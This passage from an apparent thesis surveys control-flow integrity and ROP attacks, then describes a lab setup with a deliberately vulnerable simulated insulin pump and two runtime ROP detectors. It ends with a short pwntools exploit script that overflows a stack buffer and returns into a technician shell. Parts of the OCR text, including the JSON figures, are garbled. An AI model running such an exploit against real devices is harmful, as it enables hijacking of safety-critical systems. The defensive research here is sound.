Although Control-Flow Integrity remains an effective mitigation against traditional control-
flow hijacking techniques such as ROP or JOP, attackers have developed sophisticated eva-
sion strategies. In particular, control-flow bending allows adversaries to remain within
the bounds of a coarse-grained CFG while still abusing valid program logic to achieve
malicious objectives [22].

3.3.2 Control-Flow Attestation and Remote Verification

Control-Flow Attestation extends Control-Flow Integrity principles by enabling remote
verification of a system’s execution flow. compares key features of differ-
ent Control-Flow Integrity techniques, illustrating their respective advantages and weak-
nesses. This is particularly useful for security-critical environments such as IoT and cloud
computing, where external verifiers need assurance that a device has followed the expected
execution path [24].

Control-Flow Attestation techniques include: 1. Hash-Based Attestation: Computes and
transmits cumulative hashes of executed control-flow events to detect deviations [24]. 2.
Execution Path Logging: Stores control-flow transitions for later analysis, allowing detec-
tion of anomalies in execution patterns [24]. 3. Whitelist-Based Enforcement: Ensures
that only predefined control-flow paths are executed, rejecting any unauthorized devia-
tions [24].

Recent advancements in hardware security have introduced features such as Intel Control-
Flow Enforcement Technology (CET) and ARM Pointer Authentication (PA) to enhance
the enforcement of control-flow integrity at the processor level [24].
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Figure 3.4: compares key features of different Control-Flow Integrity techniques, illustrating their effectiveness
and weaknesses in various environments.

3.3.3 Challenges and Limitations of Control-Flow Integrity and Control-Flow
Attestation

Although Control-Flow Integrity and Control-Flow Attestation offer robust security guar-
antees against control-flow hijacking, several inherent challenges limit their practical de-
ployment. One of the primary concerns is performance overhead, especially with fine-
grained Control-Flow Integrity implementations, which introduce noticeable execution la-
tency. This can make Control-Flow Integrity unsuitable for performance-critical applica-
tions, such as real-time embedded systems, where low-latency execution is essential [22].
Furthermore, bypass techniques have emerged, demonstrating that attackers can still cir-
cumvent Control-Flow Integrity protections using methods such as memory disclosure
vulnerabilities and control-flow bending. These techniques allow adversaries to exploit
the logic of unintended programs while staying within the legitimate boundaries defined
by the control-flow graph [22].

Scalability also poses a challenge, particularly for Control-Flow Attestation solutions de-
signed to support remote attestation. Logging every control-flow transition or execution
step can introduce significant storage and computational overhead, making Control-Flow
Attestation less feasible for resource-constrained devices or large-scale deployments [24].
As shown in existing Control-Flow Integrity techniques present a trade-off be-
tween security strength and runtime efficiency, shedding light on the complexity of adopt-
ing these defenses in various computing environments.

The next section will examine ROP and its implications for control-flow defenses.
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CFI Technique Security Strength | Overhead | Bypassability

CCFI (Cryptographic CFI) High 52% Replay attacks

BinCFI (CFI for COTS Binaries) Moderate 15% Gadget Synthesis

CCFIR (Randomization-based CFI) Moderate 8.6% Code Disclosure Attacks
KCoFI (Kernel-Level CFI) High 27% Memory Disclosure Bypass
IFCC (Forward-Edge CFI in LLVM) Moderate 5% Control Jujutsu Attack
SAFEDISPATCH (C++ Virtual Call Protection) Low 2.1% Vtable Hijacking

RAP (Reuse Attack Protector) High 6.2% ret2usr Attack

Table 3.1: presents a security and performance evaluation of different Control-Flow Integrity techniques,
highlighting their trade-offs.

3.4 ROP Techniques

ROP has been extensively studied due to its potent capability to bypass modern memory
protection mechanisms such as DEP and ASLR. DEP marks memory regions (e.g., the
stack or heap) as non-executable, aiming to prevent code injection attacks. However, ROP
circumvents DEP by reusing existing executable code snippets (gadgets) already loaded in
memory. Similarly, ASLR randomizes the memory layout of a process to prevent attackers
from reliably predicting the location of code. However, ROP can still function by leveraging
information leaks or side channels to locate gadgets dynamically [4].

3.4.1 Evolution of ROP Attacks

ROP emerged as a response to modern security mechanisms that prevent direct code injec-
tion. By chaining together existing instruction sequences that end with a return instruction,
attackers manipulate the execution flow while avoiding detection [4].
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Figure 3.5: illustrates execution constraints for ROP on x86_64 architectures, detailing register dependencies
and stack behavior
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illustrates execution constraints for ROP on x86_64 architectures, emphasizing
the importance of register dependencies and stack manipulation in successful exploitation.
Over time, ROP techniques have evolved significantly, resulting in various refinements
tailored to overcome modern defensive mechanisms.

The original form, known as traditional ROP, involves chaining short instruction sequences,
called gadgets, each ending with a RET instruction, to perform arbitrary computations
by carefully controlling the stack [4]. Building on this foundation, attackers developed
Sigreturn-Oriented Programming (SROP), which abuses system call return mechanisms
to manipulate execution state and bypass certain Unix-based signal handling defenses
[4]. More recently, JIT-ROP techniques have emerged that dynamically discover and con-
struct ROP chains during run-time. JIT-ROP leverages memory disclosure vulnerabilities
to bypass protections such as ASLR, assembling functional ROP chains even in hardened
environments [4]].

Each of these advancements has improved ROP’s adaptability, making it one of the most
persistent and evolving exploitation techniques.

3.4.2 Automated ROP Chain Generation

To streamline the creation of ROP payloads, attackers employ various tools that automate
the process of discovering and chaining gadgets. Some of the most widely used tools
include: 1. ROPgadget: A framework that identifies useful gadgets within binary files,
allowing attackers to automate the construction of ROP chains [5]. 2. ROPme: A tool
that generates optimized ROP payloads based on predefined exploitation goals [5]. 3.
OQROP: An advanced tool that selects the most efficient ROP gadgets to evade detection
mechanisms [5].

These automation techniques have significantly contributed to the prevalence of ROP-
based attacks despite ongoing security improvements.

3.4.3 Bypassing Modern Defenses

As defensive mechanisms against ROP have become more sophisticated, attackers have
responded by developing advanced techniques to bypass these protections. One such
method is ROP chain obfuscation, where attackers modify the structure of gadget se-
quences to evade signature-based detection systems. By introducing variations in gadget
order, using uncommon instructions, or inserting benign-looking operations, attackers can
make ROP payloads harder to detect through static or heuristic analysis [10].

Another evasion strategy involves ROP combined with COP. In this approach, traditional
ROP chains are blended with legitimate function call redirections to circumvent Control-
Flow Integrity checks. COP takes advantage of the fact that some Control-Flow Integrity
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implementations allow indirect calls to valid functions, allowing attackers to hijack con-
trol flow while still adhering to the constraints of coarse-grained Control-Flow Integrity
policies [10].

Additionally, attackers have leveraged ROP techniques within Just-In-Time (JIT) environ-
ments by exploiting JIT compilation to introduce new gadgets at runtime. Since JIT compil-
ers generate machine code on the fly, attackers can manipulate JIT-compiled code regions
to create custom gadgets dynamically, effectively bypassing static analysis defenses and
layout randomization schemes [10].

Despite these advanced evasion strategies, ROP and related exploitation techniques remain
highly effective, particularly in environments with limited resources and limited defenses.
IoT devices, due to their architectural limitations and deployment contexts, are especially
vulnerable to such attacks. The following section will examine the unique runtime security
challenges faced by IoT platforms and embedded systems.

3.5 Runtime Security for IoT Devices

The enormous growth of the Internet-of-Things (IoT) has exposed millions of small, network-
connected devices to adversaries who routinely exploit runtime software vulnerabilities.
Compared to desktop or cloud platforms, IoT nodes tend to ship with minimal CPU and
memory budgets, immature update mechanisms, and limited hardware protection fea-
tures. These factors combine to create an attractive attack surface for memory-corruption
and control-flow hijacking exploits that can culminate in persistent firmware compro-
mise [12].

3.5.1 Constraints That Amplify Risk

Three structural constraints dominate IoT security. First, tight resource envelopes exclude
heavyweight defences such as fine-grained Control-Flow Integrity or full ASLR [13]. Sec-
ond, the firmware life cycle is often weakly protected: bootloaders are rarely verified, up-
date channels lack proper authentication, and rollback countermeasures are rare, enabling
durable firmware implants or remote downgrades,[14]. Third, commodity hardware safe-
guards — Intel Control-Flow Enforcement Technology (CET), ARM Pointer Authentication
Codes (PAC), or even simple eXecute-Only Memory (XOM - are either absent or disabled
in most commodity IoT microcontrollers, leaving them vulnerable to classic code-reuse
attacks such as ROP and JOP [22]]. The situation is exacerbated by the fact that devices typ-
ically operate in untrusted networks, giving attackers continuous opportunities for remote
code-execution attempts and side-channel surveillance.
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3.5.2 Typical Runtime Exploits

Runtime exploits on IoT platforms usually rely on memory-corruption bugs. By over-
writing forward or backward control-flow edges, an adversary can assemble ROP or JOP
chains directly from the existing firmware image or linked libraries. Just-in-time ROP
refines this idea by leaking code pointers at runtime, which nullifies coarse ASLR and
enables gadget discovery on the fly [13]. Code-reuse in general remains attractive because
Data-Execution Prevention (DEP) is either missing or disabled on many microcontrollers.
Beyond transient memory attacks, insecure update paths enable direct firmware tamper-
ing: once an attacker injects a malicious image, it survives reboots and grants long-term
footholds on the target network,[22].

3.5.3 Mitigation Strategies Under Resource Constraints

Robust defences must therefore deliver meaningful coverage without violating the tight
performance and energy budgets of embedded systems. Secure-Boot frameworks, often
paired with lightweight Trusted Execution Environments (TEEs), ensure that only authen-
ticated code reaches runtime and that secrets remain isolated during execution,[23]. On the
control-flow side, coarse yet effective CFI variants and compiler-inserted shadow stacks re-
duce hijacking opportunities while respecting microcontroller limitations. Recent IoT-class
systems-on-chip have started to expose TrustZone-M partitions, PAC, and XOM, offering
a modest but growing substrate for in-hardware enforcement. Finally, remote attestation
protocols allow a back-end service to verify that devices still run untampered firmware;
although these schemes imperfectly scale to a fleet of millions, they provide an essential
forensic signal and a basis for quarantining compromised nodes,[25].

Despite these advances, the extreme diversity of IoT hardware and the absence of uni-
form security standards continue to impede the deployment of comprehensive runtime
protection. The following section synthesises the residual weaknesses and points to open
research directions for next-generation IoT security.

3.6 Limitations and Open Challenges

Despite advances in runtime attack mitigation techniques, several limitations persist, leav-
ing room for further research and innovation. Understanding these limitations is crucial
for designing more effective security mechanisms and improving the resilience of modern
computing systems against runtime exploits [12].

3.6.1 Gaps in Existing Defenses

Despite the wide deployment of runtime protection mechanisms, several limitations con-
tinue to undermine their effectiveness. A significant issue is the performance overhead
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introduced by fine-grained Control-Flow Integrity and other runtime monitoring tech-
niques. These approaches often incur high computational costs, rendering them imprac-
tical for performance-critical systems such as embedded devices and IoT platforms with
limited processing power [13].

In parallel, attackers have developed increasingly sophisticated methods to bypass widely
adopted defenses. Techniques such as memory disclosure vulnerabilities and JIT-ROP
have proven to be effective in circumventing protections such as ASLR and DEP, allowing
the reliable construction of exploitation chains even in hardened environments [14].

Another critical gap is incomplete hardware support for modern security features. Al-
though newer architectures integrate hardware-based mitigations such as Intel’s Control-
Flow Enforcement Technology (CET) and ARM’s PAC, many legacy systems and a large
portion of IoT devices lack these protections. This makes them particularly susceptible to
runtime attacks, including control-flow hijacking and code-reuse techniques [22].

3.6.2 Practical Feasibility of Control-Flow Integrity and Control-Flow Attesta-
tion

Although Control-Flow Integrity and Control-Flow Attestation have shown strong po-
tential in securing runtime environments, their practical deployment introduces several
challenges.

One key obstacle is the trade-off between security and flexibility, since the fine-grained
Control-Flow Integrity enforces strict control-flow constraints that can conflict with legiti-
mate program behavior. This rigidity may disrupt valid dynamic control flows commonly
used in complex applications, making adoption difficult in real-world systems [23]. Fur-
thermore, scalability issues arise with Control-Flow Attestation when attempting to apply
remote attestation techniques to large IoT ecosystems. Verifying the runtime integrity of
millions of devices in distributed environments imposes significant communication, stor-
age, and processing overhead, which hinders the feasibility of such solutions on a scale
[23].

Furthermore, recent research has revealed that side-channel attacks can undermine the
guarantees offered by Control-Flow Integrity. These attacks exploit observable patterns
such as cache access timings or power consumption to infer control-flow information,
allowing adversaries to bypass or weaken Control-Flow Integrity protections without di-
rectly violating the control-flow graph [24]. These challenges illustrate the gap between
theoretical security guarantees and the practical constraints faced when deploying Control-
Flow Integrity and Control-Flow Attestation in resource-constrained and large-scale envi-
ronments.
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3.6.3 Future Research Directions

To address the current limitations of runtime security mechanisms, future research should
prioritize several key areas. One critical focus is the development of lightweight security
mechanisms that offer strong runtime protection while maintaining minimal performance
overhead, making them suitable for resource-constrained environments such as IoT and
embedded systems [25]]. In parallel, there is a need to advance hardware-based defenses
by enhancing features such as PAC, Memory tagging, and hardware-enforced Control-
Flow Integrity. Strengthening these hardware-level protections can significantly improve
resilience against sophisticated runtime attacks [25].

Another promising direction is the adoption of adaptive and Al-driven security models.
By integrating machine learning techniques, security mechanisms can dynamically adapt
to novel attack patterns, reducing the dependence on static control-flow enforcement poli-
cies and improving detection accuracy [25]. Finally, future research should explore the
integration of Control-Flow Integrity and Control-Flow Attestation into hybrid security
frameworks. Combining these techniques could offer more comprehensive protection by
complementing runtime enforcement with verifiable attestation of control-flow integrity
in distributed systems [25].

Given the ongoing evolution of attack strategies, continuous innovation is necessary to
refine and extend existing runtime protection techniques. Addressing these research chal-
lenges will be vital to deliver scalable and effective defenses against emerging runtime
threats.
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Methodology

41 Tools

Throughout the development and experimentation of this thesis, several tools were used
to construct, analyze, and evaluate runtime software attacks and their detection.

The GNU Compiler Collection (GCC) [17], was used to compile vulnerable C programs
with specific flags such as -fno-stack-protector and -no-pie to disable stack canaries
and position-independent execution, thereby enabling traditional memory corruption ex-
ploits.

GDB (GNU Debugger) [18], was the primary tool for dynamic analysis. It allowed step-
by-step execution, register inspection, memory examination, and post-crash analysis. It
was particularly useful for identifying instruction pointers overwritten during buffer over-
flows.

The Pwntools Python library [8], was used to generate cyclic patterns (cyclic()) to deter-
mine the exact offset where the return address is overwritten. It was also used to automate
the creation and injection of exploit payloads.

ROPgadget [21], was used to statically scan the compiled binaries for useful ROP gad-
gets such as pop rdi; ret, which are essential for chaining ROP-based attacks without
injecting new code.

Objdump [19], was used to disassemble binaries to locate symbols, inspect PLT entries,
and confirm the presence of function calls such as system() that can be used during
attacks.

Cutter, a GUI front-end for radar2, was used for visual binary analysis, particularly to
identify function boundaries and analyze the layout of CFG’s [16]. It helped in under-
standing how functions like emergency_shutdown could be reached through crafted input.

28
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Python [7], was also used beyond Pwntools, in the design and implementation of our
custom tools for analysis. Custom scripts parsed execution traces and log files, and con-
structed Boolean representations to flag abnormal control flow paths.

Angr was used for symbolic execution and static CFG recovery. It was leveraged to auto-
matically analyze the structure of vulnerable binaries and verify reachable states during
simulated execution, without relying on actual inputs.

Intel PIN was used for dynamic binary instrumentation, enabling runtime analysis of
executed instructions with minimal overhead. It provided a programmable environment
in which our custom C++ tool could be developed and integrated. This tool was built as a
PIN pintool, capable of hooking into the execution flow at instruction granularity, logging
control-flow transfers, and extracting contextual information for later detection analysis.
The PIN framework made it possible to instrument binaries non-invasively, preserving
their original structure while collecting precise runtime behavior essential for validating
our detection approach.

Linux (Kali Linux) served as the primary operating system for the execution of the exper-
iments. It offered compatibility with exploit-development tools and a controlled environ-
ment for vulnerability research and testing.

4.2 Environment setup

All experiments, analysis tools, and runtime monitoring mechanisms in this project were
developed and tested in a controlled virtualized environment to ensure repeatability and
isolation.

Virtualized Execution Platform

A dedicated virtual machine (VM) was created to host the entire experimental environ-
ment:

Hypervisor: Oracle VirtualBox

Guest OS: Kali Linux 2024.1 (64-bit)

Base image: Clean install with root access and essential development packages
Memory and CPU: 4 GB RAM, 2 virtual CPUs

This setup was chosen for its compatibility with security research tooling, ease of snapshot
management, and availability of pre-installed debugging utilities.

Binary Analysis and Exploitation Tooling

To construct and analyze runtime attacks, the following tools were installed:
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Pwntools: Python-based exploitation framework used to generate payloads, control
program input, and script interaction with vulnerable binaries.

Cutter (GUI for radare2): Used for reverse engineering and inspection of binary
internals, including symbol tables, code disassembly, and function boundaries.

GDB (GNU Debugger): Used in conjunction with cyclic patterns and pwndbg to
identify buffer overflow offsets and analyze crash behavior at the instruction level.

Python Environment: Python 3.11 with virtual environment setup for dependency
isolation. All scripts for static analysis and payload construction were developed
using this environment.

Static Analysis Setup with angr

To perform static control-flow extraction, the angr framework was installed within the
same Python environment. The CFG generation and sensitive function marking scripts
were written in Python using angr’s CFGFast () module and VEX IR parsing APL

Intel PIN Instrumentation Environment

To enable runtime instrumentation, the Intel PIN dynamic binary instrumentation (DBI)
framework was downloaded and installed:

Version: Intel PIN 3.24 (compatible with the host kernel and gcc version)
Installation: Decompressed and configured inside the VM

Tool Development: Custom Pintools (rop_detector|Listing 10.2, boolean_rop_detector
Listing 10.4), were written in C++ and built using the provided makefile and headers
from the PIN SDK.

All instrumentation binaries were compiled and tested within the Kali VM to ensure com-
patibility with target ELF binaries.

4.3 Insulin-pump setup

To simulate a vulnerable embedded application and facilitate realistic runtime attack de-
velopment, a custom insulin pump controller was written in C and executed within the

same virtualized environment used for binary analysis (see |[Listing 10.1.1| for source code

overview).

Language: C (compiled using gcc with flags -g -fno-stack-protector -z execstack)
Purpose: Emulate real-world embedded control logic with deliberate vulnerabilities
for exploit development

Features: Menu-driven insulin dosing logic, password-protected technician access,
and a hidden diagnostic shell
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Source Location: Maintained within a Git repository inside the Kali Linux VM

Build Process: Compiled manually with debugging symbols enabled to facilitate
runtime instrumentation

The application, shown in includes an intentionally unsafe input operation
using scanf ("%s", buffer), which introduces a classic stack-based buffer overflow vul-
nerability. This allows crafted input to potentially overwrite return addresses on the stack
and hijack control flow. A hidden privileged function, technician_shell(), is present in
the binary and mimics insecure maintenance backdoors found in real embedded medical
systems.

User Interface and Control Flow

The controller implements a simple terminal-based interface via the user_interface()
function, providing users with the option to administer an insulin dose, attempt technician
login, or exit the program. Input is handled directly via standard input, and all control
logic is kept deliberately simple to facilitate exploit development and analysis.

The authentication logic prompts for a plaintext password and compares it to a hardcoded
string. If the input matches, it directly launches a system shell via system("/bin/sh").
This insecure design simulates low-assurance access mechanisms found in prototype or
poorly secured embedded devices.

Deployment Context

The binary was executed and tested entirely within the isolated Kali Linux guest VM envi-
ronment using direct terminal interaction. No hardware interfacing was implemented, as
the purpose of the simulation was to isolate and examine binary-level weaknesses relevant
to runtime exploitation and ROP attacks.



Chapter 5

Design

This chapter presents a high-level design of the runtime detection frameworks developed
in this thesis. Our objective is to detect ROP attacks in vulnerable embedded applications
by observing and validating control flow at runtime. To this end, we designed two com-
plementary detection techniques, each targeting different characteristics of ROP behavior.

5.1 System Overview

The runtime detection framework proposed in this thesis is designed to monitor low-level
program execution for control-flow violations, specifically targeting ROP-style attacks. The
architecture is structured into two distinct phases: Firstly, an offline static analysis phase
and an online runtime monitoring phase. Figure 5.1 provides an overview of this flow.

The process begins with a "Target Binary", representing the program under test. This
binary undergoes offline processing by the "Static Analyzer", which extracts control-flow
information prior to execution. Rather than instrumenting or rewriting the binary, the
analyzer parses its structure to identify return addresses and semantic function transitions.

The output of this phase is a set of Model Outputs, including:

valid_rets.json: a whitelist of legitimate return addresses used by the ARD en-
gine.

boolean_cfg.json: a semantically enriched Boolean control-flow graph defining
allowed function-level transitions for the BSVD engine.

These artifacts are consumed by the Detection Engine, which operates at runtime. The
system supports two alternative detection modes:

The Address-based ROP Detector (ARD) performs instruction-level validation by
checking that each RET instruction returns to a known, valid location.

32
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The Boolean State Validation Detection (BSVD) tracks higher-level semantic transi-
tions across function calls using a Boolean state vector. It detects anomalies such as
skipped authentication or privilege escalation attempts.

Finally, all runtime monitoring results are stored in structured Log Files, see
for detailed overview.

This modular design enables each detection mechanism to function independently and
simplifies testing under different detection policies. By decoupling model generation from
runtime logic, the framework supports reproducibility and scalability across multiple bi-
naries.

System Component and Data Flow

Target Binary

Static Analyzer

Model Outputs
(valid_rets. json, boolean_cfg. json)

|

Detection Engine
(ARD / BSVD)

Log Files

Figure 5.1: Vertical view of system data flow: the binary is statically analyzed to generate models, which are
used at runtime to monitor control-flow violations. Logs are written as output.

5.2 Static Model Generation

The runtime detection framework relies on precomputed control-flow models that are ex-
tracted from the target binary before execution. These models serve as trusted ground
truth references, allowing lightweight validation at runtime without requiring full reanal-
ysis or symbolic reasoning during execution.

The static analysis process takes the compiled target binary as input and produces two
independent model outputs:

valid_rets.json — used by the ARD engine.
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boolean_cfg. json — used by the BSVD engine.

RET Whitelist for ARD

The valid_rets. json file contains a list of legitimate return addresses extracted from the
binary’s .text section. These are typically the targets of RET instructions that can be
reached through legal execution. The extraction process scans for statically valid function
boundaries and identifies return sites that are not associated with malicious behavior (e.g.,
injected payloads or gadget misuse).

This whitelist is used at runtime to validate each return instruction: if the observed return
address is not present in the whitelist, the ARD engine raises an alert. This approach as-
sumes that the binary and its memory layout remain static and unmodified after analysis.

Boolean CFG for Semantic Detection

The Boolean Control-Flow Graph (boolean_cfg.json) is a higher-level semantic model
that represents valid function-to-function transitions using Boolean state logic. This model
includes a list of nodes, functions or logical program states, and a set of allowed transitions
encoded as Boolean update rules.

Each node represents a Boolean variable whose state indicates whether a certain function
has been entered. Transitions between nodes represent legal control-flow edges. These
rules are derived from static analysis of the call graph enriched with knowledge about
expected sequences (e.g., log-in must precede access to privileged operations).

The resulting Boolean model abstracts the control-flow into a compact representation suit-
able for state tracking at runtime. Unlike instruction-level whitelisting, the BSVD model
supports enforcement of semantic properties, such as preventing privilege escalation by
validating that preconditions for certain transitions are satisfied.

Design Implications

Both models are generated offline, decoupling the detection logic from the binary itself.
This enables rapid detection without introducing high runtime overhead. By keeping
model generation separate, the framework not only supports the re-usability of detection
engines across binaries and version-specific model updates without tool-chain modifica-
tion, but also the ability to regenerate models automatically as part of a CI/CD pipeline.

This separation of concerns between static modeling and runtime enforcement is a core de-
sign decision that ensures modularity, maintainability, and clarity in how detection policies
are encoded.
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5.2.1 Model Serialization and JSON Structure

To enable interoperability between static analysis and runtime monitoring, both detection
mechanisms rely on a shared, portable format: JSON. This decision ensures modularity
and transparency in how each engine consumes control-flow models while simplifying
tool-chain integration.

ARD JSON Format. The Address-based ROP Detection engine operates on a simple
model consisting of a whitelist, which is a product of two sub lists:

valid_targets: A list of legitimate return addresses in decimal or hexadecimal form.

sensitive: An optional list of privileged function entry points (e.g., technician_shell)
flagged for high-severity alerts.

Each address is recorded as a 64-bit integer, pre-resolved during static analysis using the
angr framework.

lid targets
4198400,
4198432,

4198444, 4198806

4198448,
4198464,
4198480,
4198496,

(a) Legitimate return addresses observed during a nor- (b) A direct return to a sensitive address (e.g., techni-
mal run (from the static CFG) cian_shell) not reachable under normal control flow.

Figure 5.2: Return address classification used by the ARD engine.

BSVD JSON Format. In contrast, the Boolean Control-Flow Graph model uses a more
structured format with two major sections:

bool_nodes: A dictionary mapping control-flow entities (functions, conditionals,
loops) to labeled nodes.

transition_rules: An array of logical rules

Each bool_node contains metadata such as: Type (e.g., call, condition, entry), addr, addr_hex
for binary mapping, calls, called_by for CFG topology and optional flags such as external
or is_sensitive_sink. An eexample of this can be seen in
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u 'technician shell",
dr": 4198806,
' 1 '0x401196",

L 50
'B_FUNC_TECHNICIAN_SHELL",
'B_FUNC PUTS",

'B_FUNC_SYSTEM",

'B_FUNC AUTHENTICATE TECHNICIAN"

'B_FUNC_PUTS",

'B_FUNC_SYSTEM",

'B_FUNC TECHNICIAN SHELL",
'B_FUNC AUTHENTICATE TECHNICIAN"

Figure 5.3: Example of a bool_node describing metadata and call relationships for B_FUNC_TECHNICIAN_SHELL

As for the transition_rules, they define valid Boolean state transitions, allowing the
runtime engine to evaluate execution traces against a semantic policy rather than raw
instruction flow. This is also shown in

'B_FUNC_AUTHENTICATE_TECHNICIAN = B_FUNC_TECHNICIAN SHELL",
'B_FUNC_SYSTEM = B_FUNC_SYSTEM",

'B_FUNC_SYSTEM = B_FUNC_TECHNICIAN SHELL AND B LOOP 42",
'B_FUNC_TECHNICIAN SHELL = B FUNC_ AUTHENTICATE TECHNICIAN AND B LOOP 67",
B_ENTRY MAIN AND B_LOOP 32",

B_FUNC_AUTHENTICATE TECHNICIAN",

B_FUNC_MANAGE DOSE",

'B_FUNC_USER INTERFACE
'B_FUNC_USER INTERFACE
'B_FUNC_USER INTERFACE

Figure 5.4: Subset of Boolean transition rules defining valid function-level control-flow paths for the BSVD
engine

The JSON model enables symbolic state tracking, selective alerting, and lightweight run-
time validation through pattern matching.

Model Serialization Flow: Static Analysis to Runtime Engines

Static Analysis
l (angr tool) l
ARD model via JSON BSVD model via JSON
{"valid_targets": [...], {"bool_nodes": {...},
"sensitive": [...]1} "transition_rules": [...]}

Runtime Monitoring
(ARD + BSVD Engines)

Figure 5.5: Static analysis generates two independent JSON models — one for ARD and one for BSVD — which
are separately consumed by the runtime monitoring system.
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With both the ARD and BSVD models generated as static JSON artifacts, the next step is
to integrate them into a live execution environment. Section [5.3| details how these models
are consumed by their respective detection engines during runtime, enabling real-time
control-flow validation through lightweight instrumentation.

5.3 Detection Engines and Runtime Flow

A central feature of the system design is the integration between statically extracted
control-flow models and the runtime detection engines. This ensures that program ex-
ecution can be observed, validated, and monitored for deviations without access to source
code or inlined instrumentation.

At runtime, the target binary is executed under a custom Intel PIN tool. This pintool
is instrumented to hook into each executed instruction and capture relevant control-flow
events. Each runtime event is logged as a structured entry containing: 1. The program
counter (PC) at runtime. 2. The corresponding semantic node label (if applicable). 3.
The type of control event (e.g., call, return, branch). 4. The evaluated condition state
(true/false). 5. A timestamp or event sequence number.

In the BSVD model, these events are matched against a statically generated transition
graph encoded in a JSON file. A runtime state vector B; tracks the currently active set
of Boolean flags. Each new event is interpreted as a candidate transition ¢;, and verified
against the allowed transitions from the model. If a transition is not permitted, e.g. if
‘B_FUNC_SYSTEM' is executed without a preceding ‘B_FUNC_AUTHENTICATE_TECH-
NICIAN’, the system raises a violation and logs it for inspection.

BSVD Runtime Data Flow Diagram

Intel PIN
(Runtime Instrumentation)
| mace
Log Buffer
(Instruction Events)

l

Rule Matcher Transition Rules JSON Model
(Boolean CFG) (bool_nodes, transition_rules)
i Invalid path

Violation Detected
(Alert + Log)

Figure 5.6: Runtime event processing pipeline for Boolean CFG detection. Intel PIN collects execution events
which are matched against a statically generated JSON model to detect control-flow violations.
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In parallel, the ARD approach uses a simpler model: a precomputed static whitelist of le-
gitimate return addresses. During execution, the same PIN-based log buffer collects return
addresses as they occur. These are verified in real time against the reference set (‘refer-
ence_addresses’), and any deviation — such as an unknown address in a return instruction
- is immediately flagged as a potential ROP-based control hijack.

ARD Runtime Data Flow Diagram

Intel PIN

(Runtime Instrumentation)

l Trace

Log Buffer
(Observed Addresses)

I

Address Matcher |  static Reference JSON model
(ARD Engine) (reference_addresses)
i Mismatch

Violation Detected
(Alert + Log)

Figure 5.7: Execution trace validation pipeline for ARD. Intel PIN logs observed instruction addresses at
runtime, which are matched against a precomputed static whitelist to detect control-flow violations.

Together, the two detection modes are driven by the same instrumentation pipeline but
apply distinct evaluation strategies. This architecture allows for flexible deployment de-
pending on the required trade-off between semantic richness and performance cost.

5.4 Log Architecture

The logging subsystem is a fundamental architectural component of the runtime detection
framework. It serves as the interface between runtime instrumentation and offline analy-
sis, capturing detailed execution events and validation outcomes from both the ARD and
BSVD engines. These logs provide visibility into control-flow behavior, support forensic
auditing, and enable the validation of detection accuracy during evaluation.

Log Structure and Semantics

Although both detection engines generate logs using the same instrumentation backend,
the structure and semantics of their outputs differ significantly.

ARD Logs capture control-flow events at the instruction level, focusing on the behavior of
RET instructions:
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Record the source and destination addresses of each RET.

Check whether the return target appears in the statically defined whitelist.
Highlight transitions into sensitive functions (e.g., technician_shell) as high-severity
alerts.

Track sequences of RET instructions to detect suspicious chaining behavior (e.g., >
5 returns in succession).

Note: return addresses that fall outside static code (e.g., heap regions), marking them
as unverifiable.

0x7fb952c4d6dc (unverifiable)

(a) Benign return to a dynamically allocated address. While unverifiable, it
is not flagged unless associated with a sensitive function.

(b) Malicious control-flow violation: a return to an unknown address
(0x401016) followed by a jump into the sensitive technician_shell func-
tion (0x401196). Flagged as a potential ROP bypass.

Figure 5.8: Address-based ROP Detection (ARD) Runtime Logs

BSVD Logs operate at a semantic level, tracking legal and illegal function transitions:

Represent the program’s control-flow as Boolean state vectors (e.g., B_FUNC_x, B_LOOP_x).
Validate state transitions against the statically defined boolean_cfg. json.

Detect and log violations such as calling sensitive sinks without passing through
required preconditions.

Output final state vectors and full transition traces for offline inspection.



5.4. Log Architecture 40

FUNC USER INTERFACE : 1

FUNC LIBC S T MAIN : ©
FUNC_AUTHENTICATE TECHNICIAN :
FUNC DL RELOCATE STATIC PIE :
FUNC UM >OLVABLECALLTARGET :
FUNC TEM : ©

FUNC MANAGE DOSE : 1

COND 4 : ©

FUNC TECHNICIAN SHELL :

B
B
B
B
B
B
B
B

=]

(a) Final Boolean state vector showing activated states (set to 1), including
semantically valid access to B_FUNC_TECHNICIAN_SHELL.

and 126 transition rules.
int: B ENTRY MAIN
[TRANSITION] ENTRY MAIN => B FUNC USER INTERFACE (O0K)

[TRANSITION] FUNC USER INTERFACE == B FUNC AUTHENTICATE TECHNICIAN (OK)
[TRANSITION] FUNC AUTHENTICATE TECHNICIAN == B FUNC TECHNICIAN SHELL (OK]
[TRANSITION] FUNC USER INTERFACE == B FUNC MANAGE DOSE (0OK)

(b) Transition trace showing legal state transitions, matching the defined control-flow policy in
boolean_cfg. json.

Figure 5.9: Boolean Control-Flow Graph (B-CFG) Runtime Logs

Logging Workflow

The logging mechanism is tightly integrated with the Intel PIN-based instrumentation
layer, as shown in Figures [5.6| and It captures:

1. Control-Flow Events: Including calls, returns, branches, and semantic state transitions.
2. Validation Results: Whether the current event complies with the corresponding model.
3. Alert Metadata: When violations are detected

4. State Snapshots: Complete state vectors dumped at program termination.

These logs are persisted to files such as rop_detector.log and boolean_rop_detector.log.
They can be analyzed post-execution to assess correctness, evaluate detection coverage, or
reconstruct runtime behavior.

Feature ARD Log BSVD Log

Granularity Instruction-level (RET) Semantic-level (CFG states)
Detection Focus ROP gadgets, RET validation Logical flow violations

Logging Content RET source, destination, whitelist hit Boolean transitions, semantic state
Alert Types Unknown RETs, Sensitive RETs, Chains | Unauthorized sink, Illegal transitions
Typical Use Case Fast anomaly alerting Formal semantic enforcement

Table 5.1: Comparison of ARD and B-CFG Log Characteristics



Chapter 6

Implementation

6.1 Rop Exploit construction

To evaluate the effectiveness of the different detection mechanisms covered in this report,
we constructed a minimal yet functional ROP payload that reliably hijacks the control
flow of the vulnerable insulin_pump binary. This payload is used to simulate a real-world
return-oriented attack scenario where control is transferred to a privileged routine without

following its intended call path.

The exploit targets a buffer overflow in the manage_dose() function, where user input is
unsafely parsed into a fixed-length stack buffer. By overflowing this buffer, we are able to

overwrite the return address and divert control flow upon function return.

Exploit.py

from pwn import *

binary = ’./insulin_pump’
elf = ELF(binary)

context.binary = elf
offset = 48

ret_gadget
shell_func

p64(0x401016)
p64(0x401196)

payload = b’A’ x offset

payload += b’B’ * 8 # Overwrite saved RBP
payload += ret_gadget

payload += shell_func

p = process(binary)

41
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.sendline(b’17) # Administer Insulin Dose
.sendline(b’17) # Insulin type: Rapid
.sendline (payload) # Trigger buffer overflow

el o B o]

.interactive ()

Listing 6.1: tailored rop exploit for insulin_pump binary

